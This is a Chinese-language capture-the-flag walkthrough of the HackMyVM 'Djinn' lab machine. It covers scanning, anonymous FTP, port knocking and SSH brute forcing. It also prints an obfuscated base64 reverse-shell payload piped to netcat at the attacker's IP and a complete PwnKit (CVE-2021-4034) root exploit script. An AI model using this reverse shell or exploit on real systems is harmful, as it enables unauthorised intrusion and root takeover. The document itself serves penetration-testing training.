渗透测试靶机练习No.84 Djinn

admin 2022年4月29日19:16:54评论46 views字数 6207阅读20分41秒阅读模式

渗透测试靶机练习No.84 Djinn

靶机信息

下载地址:

https://hackmyvm.eu/machines/machine.php?vm=Djinn
网盘链接:https://pan.baidu.com/s/1OjMwuU6F1V98x2UnLz-eHA?pwd=xcvx

靶场: HackMyVm.eu

靶机名称: Djinn

难度: 简单

发布时间: 2022年4月25日

提示信息:

目标: user.txt和root.txt


实验环境

攻击机:VMware kali 10.0.0.3 eth0桥接互联网,eth1桥接vbox-Host-Only

靶机:Vbox linux IP自动获取 网卡host-Only


信息收集

扫描主机

扫描局域网内的靶机IP地址

fping -ag 10.0.0.0/24 2>/dev/null

渗透测试靶机练习No.84 Djinn

扫描到主机地址为10.0.0.152

扫描端口

扫描靶机开放的服务端口

sudo nmap -sC -sV -p- 10.0.0.152 -oN nmap.log

渗透测试靶机练习No.84 Djinn

扫描到21、22、1337多个端口开放。其中22端口被过滤了,21端口支持匿名访问,先来看看21端口。

匿名访问FTP

ftp 10.0.0.152
anonymous

渗透测试靶机练习No.84 Djinn

ftp目录下发现3个文本,下载后查看

get creds.txt
get game.txt
get message.txt
exit
cat creds.txt
cat game.txt
cat message.txt

渗透测试靶机练习No.84 Djinn

creds.txt中的内容猜测是一组账号密码

game.txt中的内容提示1337端口下是个游戏,通关后有奖励

message.txt中的内容猜测nitish81299可能是个账号

先来看看1337端口

nc 10.0.0.152 1337

渗透测试靶机练习No.84 Djinn

是简单的加减乘除运算,但是需要计算1000次才通关,来写个脚本

sum.py

import pwn
import time

c = pwn.remote('10.0.0.152', '1337')
c.recvuntil('gift.n')

count=0

while count < 1001:
   count += 1
   data = c.recvuntil(b")").decode()
   c.recv()
   print(data)
   num1, num2, todo = int(data[1]), int(data[9]), data[5]

   if todo == "+":
      answer= num1 + num2
   elif todo == '-':
      answer= num1 - num2
   elif todo == '*':
      answer= num1 * num2
   elif todo == '/':
      answer= num1 / num2
   c.send((str(answer) + "nr").encode())
   print(answer, count)
   time.sleep(0.5)

print(c.recv().decode())

请适当调节暂停时间

python3 sum.py

渗透测试靶机练习No.84 Djinn

运行后我们拿到3组数字,猜测是端口敲门,验证一下

端口敲门

knock 10.0.0.152 1356 6784 3409
sudo nmap -p22 10.0.0.152

渗透测试靶机练习No.84 Djinn

22端口开放了,尝试用之前拿到的账号密码登录SSH

ssh [email protected]

渗透测试靶机练习No.84 Djinn

登录失败,使用nitu和nitish81299做用户名暴破SSH

SSH暴破

vi user.txt
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt ssh://10.0.0.152

渗透测试靶机练习No.84 Djinn

暴破失败,看来是走错了,重新扫描开放端口

sudo nmap -p- 10.0.0.152

渗透测试靶机练习No.84 Djinn

发现另一个端口,加上参数扫描后发现是Python环境运行的HTTP服务,来检查下这个站点。

Web渗透

http://10.0.0.152:7331

渗透测试靶机练习No.84 Djinn

访问后未发现可利用的信息,来做个目录扫描

dirsearch -u http://10.0.0.152:7331 -w ~/HackTools/Dict/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100

渗透测试靶机练习No.84 Djinn

扫描到两个目录,来访问下

http://10.0.0.152:7331/wish

渗透测试靶机练习No.84 Djinn

wish目录像是可以执行命令,验证一下。

渗透测试靶机练习No.84 Djinn

渗透测试靶机练习No.84 Djinn

确实可以执行,执行后跳转到另一个目录genie回显在url中,尝试反弹shell。

1。攻击机监听4444端口

nc -lvvp 4444

渗透测试靶机练习No.84 Djinn

2。多次尝试后找到最终payload,执行反弹shell

echo ` echo "cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL2Jhc2ggLWkgMj4mMXxuYyAxMC4wLjAuMyA0NDQ0ID4vdG1wL2Y=" | base64 -d ` | sh -

渗透测试靶机练习No.84 Djinn

反弹成功,先切换到交互式shell,再来找找敏感信息

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+z快捷键
stty raw -echo;fg
reset

渗透测试靶机练习No.84 Djinn

find / -perm -u=s -type f 2>/dev/null

渗透测试靶机练习No.84 Djinn

有个at和pkexec两个命令,先来试试pkexec

提权方法1:

上传并执行exp

python3 -m http.server

pkexec.py

#!/usr/bin/env python3

# poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys
# hardcoded amd64 lib
from ctypes import *
from ctypes.util import find_library
import os
import zlib
import base64
import tempfile

payload = zlib.decompress(
   base64.b64decode(
       """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"""
  )
)
libc = CDLL(find_library("c"))
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
libc.execve.restype = c_ssize_t

wd = tempfile.mkdtemp()
open(wd + "/pwn.so", "wb").write(payload)
os.mkdir(wd + "/gconv/")
open(wd + "/gconv/gconv-modules", "w").write(
   "module UTF-8//   INTERNAL   ../pwn   2"
)
os.mkdir(wd + "/GCONV_PATH=.")
os.mknod(wd + "/GCONV_PATH=./gconv")
os.chmod(wd + "/GCONV_PATH=.", 0o777)
os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
os.chmod(wd + "/pwn.so", 0o777)
os.chdir(wd)
cmd = b"/usr/bin/pkexec"
argv = []
envp = [
   b"gconv",
   b"PATH=GCONV_PATH=.",
   b"LC_MESSAGES=en_US.UTF-8",
   b"XAUTHORITY=../gconv",
   b"",
]

cargv = (c_char_p * (len(argv) + 1))(*argv, None)
cenv = (c_char_p * (len(envp) + 1))(*envp, None)
libc.execve(cmd, cargv, cenv)

渗透测试靶机练习No.84 Djinn

cd /tmp
wget http://10.0.0.3:8000/pkexec.py

渗透测试靶机练习No.84 Djinn

python3 pkexec.py

渗透测试靶机练习No.84 Djinn

提权成功,来找找flag

cat /home/nitish/user.txt
cat /root/root.txt

渗透测试靶机练习No.84 Djinn

拿到root权限,有点太简单了,再来换种方法。

提权方法2

cd /home/nitish/.dev
ls
cat creds.txt

渗透测试靶机练习No.84 Djinn

在/home/nitish/.dev目录下找到creds.txt文件,文件中的一段字符串看起来很像账号密码,尝试登录ssh

ssh [email protected]

渗透测试靶机练习No.84 Djinn

登录成功,来找找敏感信息(如果无法登录请再次尝试端口敲门)

sudo -l

渗透测试靶机练习No.84 Djinn

发现可以用sam用户身份执行/usr/bin/genie命令,来看下这个命令如何使用(在此之前使用-h查看帮助,里面少了一个-cmd参数)

man genie

渗透测试靶机练习No.84 Djinn

看起来可以执行命令,验证一下

sudo -u sam /usr/bin/genie sdf -cmd

渗透测试靶机练习No.84 Djinn

经过多次验证发现genie后面只需随便填写几个字符再加上-cmd命令便可提权

拿到sam权限来找找如何提权到root

sudo -l

渗透测试靶机练习No.84 Djinn

发现可以使用root身份执行lago文件,再来看看这个命令是做什么的

sudo /root/lago

渗透测试靶机练习No.84 Djinn

程序运行后选择第2个选项猜数字游戏,让你从1-100先一个数,当你猜中了就会返回shell

渗透测试靶机练习No.84 Djinn

试了十几次后猜中了(可能是运气好也可以用while true;do sudo /root/lago; done这条命令让程序循环执行,你只需要不停的按2和回车,这个结果是随机的所以无法保证多少次后可以匹配到正确结果,看运气吧,太晚了不想写脚本了,祝你好运),拿到root权限,游戏结束。

渗透测试靶机练习No.84 Djinn

渗透测试靶机练习No.84 Djinn

原文始发于微信公众号(伏波路上学安全):渗透测试靶机练习No.84 Djinn

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月29日19:16:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透测试靶机练习No.84 Djinnhttp://cn-sec.com/archives/961322.html

发表评论

匿名网友 填写信息